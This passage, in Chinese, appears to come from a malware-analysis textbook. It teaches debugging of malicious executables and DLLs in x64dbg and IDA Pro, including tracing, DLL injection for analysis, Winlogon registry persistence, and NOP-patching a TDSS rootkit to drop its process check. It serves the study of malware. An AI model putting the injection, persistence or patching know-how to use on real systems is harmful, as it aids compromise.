WriteFile,以执行后续操作。当你检查 API 时,句柄会非常有用,像WriteFile这样的 API 会告诉你与句柄相关联的对象。例如,在调试恶意软件样本时,发现WriteFileAPI 调用接受句柄值0x50。检查句柄窗口显示句柄值0x50与文件ka4a8213.log关联,如下所示:
- 线程窗口:此窗口显示当前进程中的线程列表。你可以右键点击此窗口并挂起一个或多个线程,或恢复已挂起的线程。
2.4 使用 x64dbg 控制进程执行
在第1.2 节,控制进程执行中,我们讨论了调试器提供的不同执行控制功能。以下表格概述了常见的执行选项及如何在x64dbg中访问这些选项:
| 功能 | 快捷键 | 菜单 |
|---|---|---|
| 运行 | F9 | 调试器 | 运行 |
| 单步进入 | F7 | 调试器 | 单步进入 |
| 单步跳过 | F8 | 调试器 | 单步跳过 |
| 运行直到选择 | F4 | 调试器 | 运行直到选择 |
2.5 在 x64dbg 中设置断点
在x64dbg中,你可以通过导航到你希望程序暂停的地址并按 F2 键(或者右键点击并选择 断点 | 切换)来设置软件断点。要设置硬件断点,右键点击你希望设置断点的位置,并选择 断点 | 设置硬件执行断点。
你还可以使用硬件断点来在写入时或者在内存位置的读/写(访问)时进行断点。要在内存访问上设置硬件断点,在转储面板中,右键点击所需的地址,选择 断点 | 硬件,访问,然后选择适当的数据类型(例如字节、字、双字或四字),如下面的截图所示。同样,你也可以通过选择 断点 | 硬件,写入 选项来设置硬件断点,以进行内存写入:
除了硬件内存断点外,你还可以以相同的方式设置内存断点。为此,在转储面板中,右键点击所需的地址,选择 断点 | 内存,访问(用于内存访问)或 断点 | 内存,写入(用于内存写入)。
要查看所有活动的断点,只需点击“断点”标签;这会列出“断点”窗口中所有的软件、硬件和内存断点。你也可以在“断点”窗口中的任何指令上右键点击,移除单个断点,或者移除所有断点。
有关* x64dbg 中可用选项的更多信息,请参考x64dbg的在线文档:x64dbg.readthedocs.io/en/latest/index.html。你也可以通过在x64dbg界面中按 F1 来访问x64dbg*帮助手册。
2.6 调试 32 位恶意软件
了解了调试功能后,接下来我们来看调试如何帮助我们理解恶意软件的行为。考虑到一个恶意软件样本的代码片段,其中恶意软件调用CreateFileA函数创建文件。为了确定它创建的文件名,你可以在调用CreateFileA函数的地方设置断点,并执行程序直到到达断点。当执行到达断点时(也就是在调用CreateFileA之前),所有的函数参数都会被压入栈中;然后我们可以检查栈中的第一个参数以确定文件名。在下图中,当执行在断点处暂停时,x64dbg会在指令旁边和栈中的参数旁边添加一个注释(如果是字符串的话),以指示传递给函数的参数是什么。从截图中可以看出,恶意软件在%Appdata%\Microsoft目录下创建了一个可执行文件winlogdate.exe。你也可以通过右键点击栈窗口中的第一个参数,选择“在转储中查看 DWORD”选项,来显示十六进制窗口中的内容,获取这些信息:
创建可执行文件后,恶意软件将CreateFile返回的句柄值(0x54)作为第一个参数传递给WriteFile,并写入可执行内容(作为第二个参数传递),如下所示:
假设你不知道哪个对象与句柄0x54相关联,可能是因为你直接在WriteFile上设置了断点,而没有最初在CreateFile上设置断点。要确定与句柄值相关联的对象,可以在句柄窗口中查找。在此案例中,作为第一个参数传递给WriteFile的句柄值0x54,与winlogdate.exe相关联,如下所示:
2.7 调试 64 位恶意软件
你将使用相同的技巧来调试 64 位恶意软件;区别在于,你将处理扩展寄存器、64 位内存地址/指针和略有不同的调用约定。如果你还记得(来自第四章,汇编语言与反汇编入门),64 位代码使用FASTCALL调用约定,并将前四个参数传递给函数的寄存器(rcx、rdx、r8和r9),其余的参数则放在栈上。在调试调用函数/API 时,依据你检查的参数,你需要检查寄存器或栈。前面提到的调用约定适用于编译器生成的代码。攻击者编写的汇编语言代码不必遵循这些规则;因此,代码可能表现出不寻常的行为。当你遇到非编译器生成的代码时,可能需要进一步调查该代码。
在我们调试 64 位恶意软件之前,让我们先通过下面这个简单的 C 程序来了解 64 位二进制文件的行为,该程序是使用Microsoft Visual C/C++ 编译器为 64 位平台编译的:
int main()
{
printf("%d%d%d%d%s%s%s", 1, 2, 3, 4, "this", "is", "test");
return 0;
}
在上面的程序中,printf函数接受八个参数;该程序在x64dbg中编译并打开,并且在printf函数处设置了断点。以下截图显示了程序,在调用printf函数之前暂停。在寄存器窗口中,你可以看到前四个参数已放置在rcx、rdx、r8和r9寄存器中。当程序调用一个函数时,该函数会在栈上保留0x20(32 字节)的空间(为四个项目保留每个8 字节的空间);这是为了确保调用的函数在需要保存寄存器参数(rcx、rdx、r8和r9)时有足够的空间。这就是为什么接下来的四个参数(第 5、6、7、8 个参数)会放置在栈上,从第五个项目(rsp+0x20)开始。我们给你展示这个例子是为了让你了解如何在栈上找到参数:
对于 32 位函数,堆栈在参数被 压入 时增长,在项被 弹出 时收缩。对于 64 位函数,堆栈空间在函数开始时分配,并且直到函数结束之前不会改变。分配的堆栈空间用于存储局部变量和函数参数。在前面的截图中,注意第一条指令 sub rsp,48 如何在堆栈上分配了 0x48(72)字节的空间,在函数中间之后没有再分配堆栈空间;此外,push 和 pop 指令没有使用,改为使用 mov 指令将第 5、6、7、8 个参数放入堆栈(在前面的截图中已突出显示)。没有 push 和 pop 指令使得确定函数接受的参数数量变得困难,而且也很难判断内存地址是作为局部变量还是作为函数的参数使用。另一个挑战是,如果在函数调用之前,值已经移入了寄存器 rcx 和 rdx,那么很难判断它们是作为参数传递给函数的,还是被移入寄存器用于其他目的。
即使在反向工程一个 64 位二进制文件时遇到一些挑战,你也不应该遇到太多困难来分析 API 调用,因为 API 文档告诉你 函数参数的数量、参数的数据类型 以及它们返回的 数据类型。一旦你知道在哪里找到函数参数和返回值,你可以在 API 调用处设置断点,检查其参数,以了解恶意软件的功能。
让我们看一个 64 位恶意软件示例,它调用 RegSetValueEx 来设置注册表中的某些值。在下图中,断点在调用 RegSetValueEx 之前被触发。你需要查看寄存器和堆栈窗口中的值(如前所述),以检查传递给函数的参数;这将帮助你确定恶意软件设置了哪个注册表值。在 x64dbg 中,获取函数参数的最快方法是查看默认窗口(在寄存器窗口下方),该窗口在以下截图中被突出显示。你可以在默认窗口中设置一个值来显示参数的数量。在下图中,值设置为 6,因为从 API 文档中(msdn.microsoft.com/en-us/library/windows/desktop/ms724923(v=vs.85).aspx)可以看出,RegSetValueEx API 有 6 个参数:
第一个参数值0x2c是打开注册表键的句柄。恶意软件可以通过调用RegCreateKey或RegOpenKeyAPI 打开注册表键的句柄。从句柄窗口中,您可以看到句柄值0x2c与以下截图中显示的注册表键相关联。通过句柄信息,并检查第 1、2 和 5 个参数,您可以知道恶意软件修改了注册表键HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\shell,并添加了一个条目"explorer.exe,logoninit.exe"。在干净的系统上,此注册表键指向explorer.exe(默认的 Windows shell)。当系统启动时,Userinit.exe进程使用此值启动 Windows shell(explorer.exe)。通过添加logoninit.exe,以及explorer.exe,恶意软件确保Userinit.exe也启动了logoninit.exe;这是恶意软件使用的另一种持久性机制:
此时,您应该已经了解如何调试恶意可执行文件以了解其功能。在下一节中,您将学习如何调试恶意 DLL 以确定其行为。
2.8 使用 x64dbg 调试恶意 DLL
在第三章,动态分析中,您学习了执行 DLL 以执行动态分析的技术。在本节中,您将使用在第三章,动态分析中学到的一些概念来使用x64dbg调试 DLL。如果您还不熟悉 DLL 的动态分析,强烈建议在继续之前阅读第三章,动态分析中的第六部分,动态链接库(DLL)分析。
要调试 DLL,请启动x64dbg(最好具有管理员权限)并加载 DLL(通过文件 | 打开)。当您加载 DLL 时,x64dbg会在与 DLL 位于同一目录的地方放置一个可执行文件(名为DLLLoader32_xxxx.exe,其中xxxx是随机的十六进制字符),此可执行文件充当通用主机进程,将用于执行您的 DLL(与rundll32.exe相同的方式)。加载 DLL 后,调试器可能会在系统断点,TLS 回调或DLL 入口点函数处暂停,具体取决于配置设置(在在 x64dbg 中启动新进程部分中提到)。如果未选中系统断点和TLS 回调选项,则在加载 DLL 时会在DLL 的入口点处暂停执行,如下截图所示。现在,您可以像调试其他程序一样调试 DLL:
2.8.1 使用 rundll32.exe 在 x64dbg 中调试 DLL
另一种有效的方法是使用rundll32.exe来调试 DLL(假设你想要调试一个名为rasaut.dll的恶意软件 DLL)。为此,首先从系统 32 目录(通过文件 | 打开)加载rundll32.exe到调试器中,这将在系统断点或rundll32.exe的入口点(取决于之前提到的设置)处暂停调试器。然后,选择调试 | 更改命令行,并指定rundll32.exe的命令行参数(指定 DLL 的完整路径和导出函数),如下所示,并单击确定:
接下来,选择断点选项卡,在断点窗口内右键单击,并选择添加 DLL 断点选项,这将弹出一个对话框窗口提示您输入模块名称。输入 DLL 名称(在本例中为rasaut.dll),如下所示。这将告诉调试器在加载 DLL(rasaut.dll)时中断。配置这些设置后,关闭调试器:
接下来,重新打开调试器并再次加载rundll32.exe;当您再次加载时,之前的命令行设置仍将保持不变。现在,选择调试 | 运行(F9),直到您在 DLL 的入口点中断(您可能需要多次选择运行(F9),直到达到 DLL 入口点)。您可以通过查看断点地址旁的注释,每次运行(F9)时跟踪执行暂停的位置。您还可以在eip寄存器旁找到相同的注释。在下面的屏幕截图中,您可以看到执行已在rasaut.dll的入口点处暂停。在这一点上,您可以像调试任何其他程序一样调试 DLL。您还可以在 DLL 导出的任何函数上设置断点。您可以使用符号窗口找到导出函数;在找到所需的导出函数后,双击它(这将带您到反汇编窗口中导出函数的代码)。然后,在所需地址处设置断点:
2.8.2 在特定进程中调试 DLL
有时,您可能希望调试仅在特定进程(如explorer.exe)中运行的 DLL。该过程类似于前一节中介绍的过程。首先,使用 x64dbg启动进程或附加到所需的主机进程;这将暂停调试器。通过选择 Debug | Run (F9)允许进程运行。接下来,选择 Breakpoints 选项卡,在 Breakpoints 窗口内右键单击,并选择 Add DLL breakpoint 选项,这将弹出一个对话框提示您输入模块名称。输入 DLL 名称(如前一节中介绍的),这将告诉调试器在加载 DLL 时中断。现在,您需要将 DLL 注入到主机进程中。可以使用类似RemoteDLL(securityxploded.com/remotedll.php)的工具来完成此操作。当 DLL 加载时,调试器将在ntdll.dll中的某处暂停;只需连续运行(F9)直到达到注入的 DLL 的入口点(可能需要多次运行才能到达入口点)。您可以通过查看断点地址旁边或前一节中提到的eip寄存器旁边的注释来跟踪每次运行(F9)时暂停的执行位置。
2.9 在 x64dbg 中跟踪执行
跟踪允许您在进程执行时记录事件。x64dbg 支持跟踪进入和跟踪覆盖条件跟踪选项。您可以通过 Trace | Trace into (Ctrl+Alt+F7)和Trace | Trace over (Ctrl+Alt+F8)访问这些选项。在跟踪进入中,调试器通过设置步入断点内部跟踪程序,直到条件满足或达到最大步数。在跟踪覆盖中,调试器通过设置步过断点跟踪程序,直到条件满足或达到最大步数。以下屏幕截图显示了跟踪进入对话框(跟踪覆盖对话框中提供相同选项)。要跟踪日志,至少需要指定log text和将跟踪事件重定向到的日志文件的完整路径(通过 Log File 按钮):
以下包括一些字段的简要描述:
-
断点条件:您可以在此字段中指定条件。此字段默认为
0(false)。要指定条件,您需要指定任何有效表达式(x64dbg.readthedocs.io/en/latest/introduction/Expressions.html)来评估为非零值(true)。评估为非零值的表达式被视为true,从而触发断点。调试器通过评估提供的表达式继续跟踪,并在满足指定条件时停止。如果条件不满足,则跟踪将继续直到达到最大跟踪计数。 -
日志文本:此字段用于指定将用于记录日志文件中跟踪事件的格式。此字段可以使用的有效格式在
help.x64dbg.com/en/latest/introduction/Formatting.html中列出。 -
日志条件:此字段的默认值为
1。你可以选择性地提供一个日志条件,这样调试器只有在特定条件满足时才会记录事件。日志条件需要是有效的表达式(x64dbg.readthedocs.io/en/latest/introduction/Expressions.html)。 -
最大跟踪次数:此字段指定调试器放弃之前可以跟踪的最大步骤数。默认值设置为
50000,你可以根据需要增加或减少此值。 -
日志文件按钮:你可以使用此按钮指定日志文件的完整路径,跟踪日志将保存在此文件中。
x64dbg 没有特定的指令跟踪和函数跟踪功能,但可以使用追踪进入和追踪跳过选项来执行指令跟踪和函数跟踪。你可以通过添加断点来控制跟踪。在下面的截图中,eip 指向第 1 条指令,并且在第 5 条指令处设置了断点。当跟踪开始时,调试器从第一条指令开始跟踪,并在断点处暂停。如果没有断点,跟踪将继续,直到程序结束,或者直到达到最大跟踪次数。如果你想跟踪函数内部的指令,可以选择追踪进入,或者选择追踪跳过来跳过该函数并跟踪其余的指令:
2.9.1 指令跟踪
要在前面的程序中执行指令跟踪(例如,追踪进入),你可以在“追踪进入”对话框中使用以下设置。如前所述,为了在日志文件中捕获跟踪事件,你需要指定日志文件的完整路径和日志文本:
上述截图中的日志文本值(0x{p:cip} {i:cip})是字符串格式,指定调试器记录所有跟踪指令的地址和反汇编。以下是程序的跟踪日志。由于选择了追踪进入选项,函数内部的指令(0xdf1000)也被捕获(在下面的代码中高亮显示)。指令跟踪有助于快速了解程序的执行流程:
0x00DF1011 mov ebp, esp
0x00DF1013 call 0xdf1000
0x00DF1000 push ebp
0x00DF1001 mov ebp, esp
0x00DF1003 pop ebp
0x00DF1004 ret
0x00DF1018 xor eax, eax
0x00DF101A pop ebp
2.9.2 函数跟踪
为了演示函数跟踪,请看以下截图中的程序。在这个程序中,eip指向第一条指令,断点设置在第五条指令(以在此点停止追踪),第三条指令调用了0x311020地址的函数。我们可以使用函数跟踪来确定0x311020函数调用了哪些其他函数:
为了执行函数跟踪(在此案例中选择了“进入追踪”),使用了以下设置。这类似于指令跟踪,不同之处在于在日志条件字段中,指定了一个表达式,指示调试器仅记录函数调用:
以下是通过函数跟踪在日志文件中捕获的事件。从这些事件中,你可以看出,函数0x311020调用了两个其他函数,分别位于0x311000和0x311010:
0x00311033 call 0x311020
0x00311023 call 0x311000
0x00311028 call 0x311010
在前面的例子中,使用了断点来控制追踪。当调试器到达断点时,执行暂停,且指令/函数在断点之前会被记录。当你恢复调试器时,剩下的指令会被执行,但不会被记录。
2.10 在 x64dbg 中修补
在进行恶意软件分析时,你可能想修改二进制文件以改变其功能或逆向其逻辑,以满足你的需求。x64dbg 允许你修改程序的内存数据或指令。要修改内存中的数据,导航到内存地址,选择你要修改的字节序列,然后右键点击并选择“二进制 | 编辑”(Ctrl + E),这将弹出一个对话框(如下所示),你可以用它来修改数据为 ASCII、UNICODE 或一系列十六进制字节:
以下截图显示了TDSS rootkit DLL 的代码片段(这与前一章中涉及的相同二进制文件,在使用 IDA 修补二进制文件的部分有介绍)。如果你记得的话,这个 DLL 使用字符串比较来检查它是否在spoolsv.exe进程下运行。如果字符串比较失败(也就是说,DLL 没有在spoolsv.exe进程下运行),代码就会跳转到函数的末尾,并在不表现出恶意行为的情况下返回函数。如果你希望这个二进制文件能够在任何进程下运行(而不仅仅是spoolsv.exe),你可以用nop指令修改条件跳转指令(JNE tdss.10001Cf9),以去除进程限制。为此,右键点击条件跳转指令并选择“汇编”,这将弹出如下对话框,使用它可以输入指令。请注意,在截图中,已勾选“填充 NOP”的选项,以确保指令对齐正确:
在修改了内存中的数据或指令之后,你可以通过选择 文件 | 补丁文件 来将补丁应用到文件中,这将弹出一个补丁对话框,显示对二进制文件所做的所有修改。满意修改后,点击 补丁文件 并保存文件:
3. 使用 IDA 调试二进制文件
在上一章中,我们查看了 IDA Pro 的反汇编功能。在本章中,你将了解 IDA 的调试能力。IDA 的商业版本可以调试 32 位和 64 位应用程序,而演示版只允许调试 32 位 Windows 二进制文件。在本节中,你将看到 IDA Pro 提供的一些调试功能,并将学习如何使用它调试恶意二进制文件。
3.1 在 IDA 中启动新进程
启动新进程有不同的方法;一种方法是直接启动调试器,而不先加载程序。要做到这一点,启动 IDA(不加载可执行文件),然后选择 调试器 | 运行 | 本地 Windows 调试器;这将弹出一个对话框,你可以在其中选择要调试的文件。如果可执行文件需要任何参数,你可以在 参数 字段中指定它们。此方法将启动一个新进程,调试器将在程序的 入口点 暂停执行:
启动进程的第二种方法是先在 IDA 中加载可执行文件(这将执行初步分析并显示反汇编输出)。首先,通过 调试器 | 选择调试器(或 F9)选择正确的调试器;然后,你可以将光标放在第一个指令上(或你希望执行暂停的指令),并选择 调试器 | 运行到光标处(或 F4)。这将启动一个新进程,并将执行直到当前光标位置(在这种情况下,断点会自动设置在当前光标位置)。
3.2 使用 IDA 附加到现有进程
你附加到进程的方式取决于程序是否已经加载。当程序没有加载时,选择 调试器 | 附加 | 本地 Windows 调试器。这将列出所有正在运行的进程。只需选择要附加的进程即可。附加后,进程将立即暂停,给你机会在继续执行之前检查进程的资源并设置断点。在这种方法中,IDA 无法执行其初始的自动分析,因为 IDA 的加载器没有机会加载可执行映像:
另一种附加到进程的方法是将与进程关联的可执行文件加载到 IDA 中,然后再附加到该进程。要实现这一点,首先使用 IDA 加载相关的可执行文件,这样 IDA 就可以执行初步分析。然后,选择调试器 | 选择调试器,勾选 Local Win32 调试器(或 Local Windows 调试器)选项,并点击确认。接着,再次选择调试器 | 附加到进程,并选择要附加调试器的进程。
3.3 IDA 的调试器界面
启动程序后,进程会暂停,并会向你展示以下调试器界面:
当进程在调试器控制下时,反汇编工具栏会被调试器工具栏替代。此工具栏包含与调试功能相关的按钮(例如进程控制和断点):
-
反汇编窗口:此窗口与当前指令指针寄存器(
eip或rip)的值同步。反汇编窗口提供了你在前一章节中学到的相同功能。你还可以通过按下空格键在图形视图和文本视图模式之间切换。 -
寄存器窗口:此窗口显示 CPU 通用寄存器的当前内容。你可以右键单击寄存器值,点击修改值、清零值、切换值、增值或减值。切换值特别有用,尤其是当你想要更改 CPU 标志位的状态时。如果寄存器的值是一个有效的内存位置,则寄存器值旁边的右箭头会变为可用状态;点击该箭头可以将视图移动到对应的内存位置。如果你发现自己导航到了其他位置,并希望返回到指令指针指向的位置,只需点击指令指针寄存器(
eip或rip)值旁的右箭头。 -
栈视图:栈视图显示进程运行时栈的数据信息。在调用函数之前检查栈可以获取有关函数参数数量和类型的信息。
-
十六进制视图:此视图显示内存的标准十六进制转储。十六进制视图在你想要显示有效内存位置的内容时很有用(该位置可能在寄存器、栈或指令中)。
-
模块视图:此视图显示加载到进程内存中的模块列表(可执行文件及其共享库)。双击列表中的任何一个模块,都会显示该模块导出的符号列表。这是一个方便的方式,可以快速跳转到加载库中的函数。
-
线程视图:显示当前进程中线程的列表。你可以右键单击此窗口来挂起线程或恢复挂起的线程。
-
段窗口:段窗口可以通过 视图 | 打开子视图 | 段(或 Shift + F7)打开。当你调试一个程序时,段窗口提供有关进程中已分配内存段的信息。此窗口显示可执行文件及其各个部分在内存中的加载位置的信息,还包含所有已加载 DLL 及其段信息。双击任何条目将会将你带到相应的内存位置,进入 反汇编窗口或 十六进制窗口。你可以控制内存地址的内容应该显示在哪里(在反汇编窗口或十六进制窗口中);只需将光标放在反汇编或十六进制窗口中的任何位置,然后双击该条目。根据光标的位置,内存地址的内容将显示在相应的窗口中:
- 导入和导出窗口:当进程在调试器控制下时,导入和导出窗口默认情况下不会显示。你可以通过 视图 | 打开子视图来显示这些窗口。导入窗口列出了二进制文件导入的所有函数,导出窗口列出了所有导出的函数。导出的函数通常位于 DLL 文件中,因此在调试恶意 DLL 时,这个窗口特别有用。
前一章中解释的其他 IDA 窗口,也可以通过 视图 | 打开子视图进行访问。
3.4 使用 IDA 控制进程执行
在 第 1.2 节,控制进程执行 中,我们讨论了调试器提供的不同执行控制功能。下表概述了在调试程序时,你可以在 IDA 中使用的常见执行控制功能:
| 功能 | 热键 | 菜单选项 |
|---|---|---|
| 继续(运行) | F9 | 调试器 | 继续进程 |
| 单步进入 | F7 | 调试器 | 单步进入 |
| 单步跳过 | F8 | 调试器 | 单步跳过 |
| 跳转到光标 | F4 | 调试器 | 跳转到光标 |
3.5 在 IDA 中设置断点
要在 IDA 中设置软件断点,你可以导航到希望程序暂停的地点,按下 F2 键(或右键点击并选择 添加断点)。设置断点后,断点所在的地址会以红色高亮显示。你可以通过按 F2 键删除设置的断点。
在下面的截图中,断点被设置在地址 0x00401013 (call sub_401000)处。要在断点地址处暂停执行,首先选择调试器(例如本地 Win32 调试器),然后通过选择 调试器 | 启动进程 (或 F9 热键)来运行程序。这样会执行所有指令,直到到达断点,并在断点地址处暂停:
在 IDA 中,你可以通过编辑已经设置的断点来设置硬件断点和条件断点。要设置硬件断点,右键单击一个已有的断点,然后选择编辑断点。在弹出的对话框中,勾选硬件复选框,如下所示。IDA 允许你设置超过四个硬件断点,但只有四个断点会生效;额外的硬件断点将会被忽略:
你可以使用硬件断点来指定是否在执行时断点(默认),写入时断点,或读/写时断点。写入时断点 和 读/写时断点 选项允许你在任何指令访问指定的内存位置时创建内存断点。如果你想知道程序何时从内存位置读取或写入数据,这个断点非常有用。执行时断点 选项允许你在指定的内存位置被执行时设置断点。除了指定模式外,你还必须指定大小。硬件断点的大小与其地址结合,形成一个字节范围,这个范围内的地址可能会触发断点。
你可以通过在条件字段中指定条件来设置条件断点。条件可以是一个实际条件,或者是 IDC 或 IDAPython 表达式。你可以点击条件字段旁边的...按钮,这将打开编辑器,在编辑器中你可以使用 IDC 或 IDAPython 脚本语言来评估条件。你可以在 www.hex-rays.com/products/ida/support/idadoc/1488.shtml 查找到设置条件断点的一些示例。
你可以通过导航到 调试器 | 断点 | 断点列表 (或按 Ctrl + Alt + B)来查看所有活动断点。你可以右键点击断点条目并禁用或删除该断点。
3.6 恶意软件可执行文件调试
在本节中,我们将介绍如何使用 IDA 调试恶意二进制文件。考虑一个 32 位恶意软件样本的反汇编列表。恶意软件调用CreateFileWAPI 创建文件,但仅从反汇编列表中并不清楚恶意软件创建了哪个文件。通过查看CreateFile的 MSDN 文档,你可以了解到CreateFile的第一个参数将包含文件名;此外,CreateFile中的W后缀表示文件名是一个 UNICODE 字符串(有关该 API 的详细信息,请参阅前一章)。为了确定文件名,我们可以在调用CreateFileW的位置设置一个断点,然后运行程序(F9)直到程序达到断点。当程序达到断点时(即在调用CreateFileW之前),所有函数的参数将被推送到栈上,因此我们可以检查栈中的第一个参数来确定文件名。在调用CreateFileW之后,文件的句柄将通过eax寄存器返回,并在➋处被复制到esi寄存器中:
.text:00401047 push 0 ; hTemplateFile
.text:00401049 push 80h ; dwFlagsAndAttributes
.text:0040104E push 2 ; dwCreationDisposition
.text:00401050 push 0 ; lpSecurityAttributes
.text:00401052 push 0 ; dwShareMode
.text:00401054 push 40000000h ; dwDesiredAccess
.text:00401059 lea edx, [esp+800h+Buffer]
.text:00401060 push edx ; lpFileName
.text:00401061 ➊ call ds:CreateFileW
.text:00401067 mov esi, eax ➋
在下图中,执行在调用CreateFileW时已暂停(这是通过设置断点并运行程序实现的)。函数的第一个参数是 UNICODE 字符串(filename)的地址(0x003F538)。你可以使用 IDA 中的十六进制视图窗口来检查任何有效内存位置的内容。通过右键点击地址0x003F538并选择“Follow in hex dump”选项,可以显示文件名的十六进制内容,如下所示。在此情况下,恶意软件正在C:\Users\test\AppData\Local\Temp目录中创建一个文件SHAMple.dat:
恶意软件在创建文件后,将文件句柄作为第一个参数传递给WriteFile函数。这表明恶意软件将某些内容写入文件SHAmple.dat。要确定它写入文件的内容,可以检查WriteFile函数的第二个参数。在这种情况下,它将字符串FunFunFun写入文件,如下图所示。如果恶意软件正在将可执行内容写入文件,你也可以通过这种方法查看:
3.7 使用 IDA 调试恶意 DLL
在第三章,动态分析中,你学习了执行 DLL 进行动态分析的技巧。在本节中,你将使用在第三章,动态分析中学到的一些概念,通过 IDA 调试 DLL。如果你不熟悉 DLL 的动态分析,强烈建议在继续之前阅读第三章,动态分析中的S**ection 6,动态链接库(DLL)分析。
要使用 IDA 调试器调试 DLL,首先需要指定将用于加载 DLL 的可执行文件(如rundll32.exe)。要调试 DLL,首先将 DLL 加载到 IDA 中,IDA 可能会显示DLLMain函数的反汇编代码。在DLLMain函数的第一条指令上设置断点(F2),如以下截图所示。这样,当你运行 DLL 时,执行将会在DLLMain函数的第一条指令处暂停。你也可以通过 IDA 的导出窗口,导航到 DLL 导出的任何函数上并设置断点。
在你设置了期望的地址断点(即你希望程序暂停执行的地方)之后,通过选择调试器菜单 Debugger | Select debugger | Local Win32 debugger(或者Debugger | Select debugger | Local Windows debugger)并点击 OK,来选择调试器。接下来,选择 Debugger | Process options,打开如下截图所示的对话框。在 Application 字段中,输入用于加载 DLL 的可执行文件的完整路径(rundll32.exe)。在 Input file 字段中,输入你想要调试的 DLL 的完整路径,在 Parameters 字段中,输入传递给rundll32.exe的命令行参数,然后点击 OK。现在,你可以运行程序,直到程序到达断点,之后你可以像调试任何其他程序一样调试它。你传递给rundll32.exe的参数应该具有正确的语法,以成功调试 DLL(参考第三章,动态分析中的Working of rundll32.exe部分)。需要注意的一点是,rundll32.exe同样可以用来执行 64 位 DLL,方法相同:
3.7.1 在特定进程中调试 DLL
在 第三章,动态分析 中,您学到了如何通过一些 DLL 执行进程检查,以判断它们是否在特定进程下运行,比如 explorer.exe 或 iexplore.exe。在这种情况下,您可能希望在特定的宿主进程内调试 DLL,而不是 rundll32.exe。为了在 DLL 的入口点暂停执行,您可以选择 启动 一个新的宿主进程实例,或使用调试器 附加 到目标宿主进程,然后选择 调试器 | 调试器选项,并勾选“在库加载/卸载时暂停”选项。该选项会告诉调试器每当加载或卸载一个新模块时暂停执行。在进行这些设置后,您可以通过按 F9 快捷键恢复暂停的宿主进程并让它继续运行。现在,您可以使用像 RemoteDLL 这样的工具将 DLL 注入到调试的宿主进程中。当 DLL 被宿主进程加载时,调试器会暂停,给您一个机会在加载模块的地址设置断点。您可以通过查看“段”窗口来了解 DLL 已经加载到内存的地址,如下所示:
在前面的截图中,您可以看到被注入的 DLL (rasaut.dll) 已加载到内存中的地址 0x10000000(基址)。您可以通过将基地址(0x10000000)与 PE 头 中的 AddressOfEntryPoint 字段的值相加来在入口点的地址设置断点。您可以通过将 DLL 加载到如 pestudio 或 CFFexplorer 等工具中来确定入口点的地址值。例如,如果 AddressOfEntryPoint 的值为 0x1BFB,那么 DLL 的入口点地址可以通过将基地址(0x10000000)与值 0x1BFB 相加得到,结果是 0x10001BFB。现在,您可以跳转到地址 0x10001BFB(或者按 G 键跳转到该地址),并在该地址设置断点,然后恢复暂停的进程。
3.8 使用 IDA 跟踪执行
跟踪 允许你在进程执行时记录(日志)特定的事件。它可以提供二进制文件的详细执行信息。IDA 支持三种类型的跟踪:指令跟踪、函数跟踪和 基本块跟踪。要在 IDA 中启用跟踪,你需要设置一个断点,然后右键点击断点地址并选择“编辑断点”,这会弹出一个断点设置对话框。在对话框中,勾选“启用跟踪”选项,并选择合适的跟踪类型。然后,通过 调试器 | 选择调试器 菜单(如前所述)选择调试器,并运行(F9)程序。以下截图中的位置字段指定了正在编辑的断点,它将作为起始地址执行跟踪。跟踪会一直持续,直到达到一个断点或程序结束。为了指示哪些指令已被跟踪,IDA 通过颜色编码高亮显示指令。跟踪完成后,你可以通过选择 调试器 | 跟踪 | 跟踪窗口 来查看跟踪结果。你可以通过 调试器 | 跟踪 | 跟踪选项 控制跟踪选项:
指令跟踪 记录每条指令的执行并显示修改后的寄存器值。指令跟踪较慢,因为调试器会通过单步执行(single-step)进程来监控和记录所有寄存器的值。指令跟踪 对于确定程序的执行流非常有用,并可以了解在执行每条指令期间哪些寄存器被修改。你可以通过添加断点来控制跟踪。
考虑以下截图中的程序。假设你想跟踪前四条指令(其中第三条指令包含一个函数调用)。为此,首先,在第一条指令处设置一个断点,在第五条指令处设置另一个断点,如下图所示。然后,编辑第一个断点(地址为 0x00401010),并启用指令跟踪。现在,当你开始调试时,调试器会跟踪前四条指令(包括函数内的指令),并在第五条指令处暂停。如果没有指定第二个断点,调试器将跟踪所有指令:
以下截图显示了在调试器暂停于第五条指令时,指令跟踪 事件在跟踪窗口中的表现。注意执行流是如何从 main 流向 sub_E41000,然后又返回到 main。如果你希望跟踪剩余的指令,可以通过恢复暂停的进程来实现:
函数跟踪:这会记录所有的函数调用和返回,但不会记录函数跟踪事件中的寄存器值。函数跟踪对于确定程序调用了哪些函数和子函数非常有用。你可以通过将跟踪类型设置为函数,并按照与指令跟踪相同的步骤进行函数跟踪。
在以下示例中,恶意软件样本调用了两个函数。假设我们想快速了解第一个函数调用时调用了哪些其他函数。为了做到这一点,我们可以在第一条指令处设置第一个断点,并启用函数跟踪(通过编辑断点),然后可以在第二条指令处设置另一个断点。第二个断点将作为停止点(跟踪将一直进行到达第二个断点)。以下截图展示了这两个断点:
以下截图展示了函数跟踪的结果。从跟踪的事件中,你可以看到函数sub_4014A0调用了与注册表相关的 API 函数;这表明该函数负责执行注册表操作:
有时,你的跟踪可能需要很长时间,并且似乎永远不会结束;如果函数没有返回到其调用者并且在等待事件发生的循环中运行,就会发生这种情况。在这种情况下,你仍然可以在跟踪窗口中看到跟踪日志。
块跟踪:IDA 允许你进行块跟踪,这对于了解在运行时哪些代码块被执行非常有用。你可以通过将跟踪类型设置为基本块来启用块跟踪。在块跟踪的情况下,调试器将在每个函数的每个基本块的最后一条指令处设置断点,并且还会在跟踪块中间的任何调用指令处设置断点。基本块跟踪比正常执行慢,但比指令或函数跟踪要快。
3.9 使用 IDAPython 的调试器脚本
你可以使用调试器脚本来自动化与恶意软件分析相关的常规任务。在上一章中,我们介绍了如何使用 IDAPython 进行静态代码分析。在本节中,你将学习如何使用 IDAPython 执行与调试相关的任务。本节中展示的 IDAPython 脚本使用了新的 IDAPython API,这意味着如果你使用的是旧版本的 IDA(低于 IDA 7.0),这些脚本将无法工作。
以下资源应帮助你开始使用 IDAPython 调试器脚本。这些资源中的大部分(除了 IDAPython 文档)使用旧版 IDAPython API 演示脚本功能,但它们足够帮助你理解。如果你遇到困难,可以参考 IDAPython 文档:
-
IDAPython API 文档:
www.hex-rays.com/products/ida/support/idapython_docs/idc-module.html -
IDA 可脚本化调试器:
www.hex-rays.com/products/ida/debugger/scriptable.shtml -
使用 IDAPython 让你的生活更轻松(系列):
researchcenter.paloaltonetworks.com/2015/12/using-idapython-to-make-your-life-easier-part-1/
